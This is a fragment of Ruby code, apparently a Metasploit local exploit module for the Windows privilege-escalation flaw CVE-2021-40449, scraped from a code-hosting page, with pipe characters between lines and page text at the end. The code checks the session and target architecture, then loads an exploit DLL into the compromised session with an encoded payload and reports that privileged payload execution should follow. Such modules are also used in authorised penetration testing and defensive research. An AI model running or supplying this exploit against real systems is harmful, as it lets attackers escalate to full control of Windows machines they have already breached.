if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
||||
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||
end
|
||||
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),
|
||||
[encoded_payload.length].pack('I<') + encoded_payload
|
||||
)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue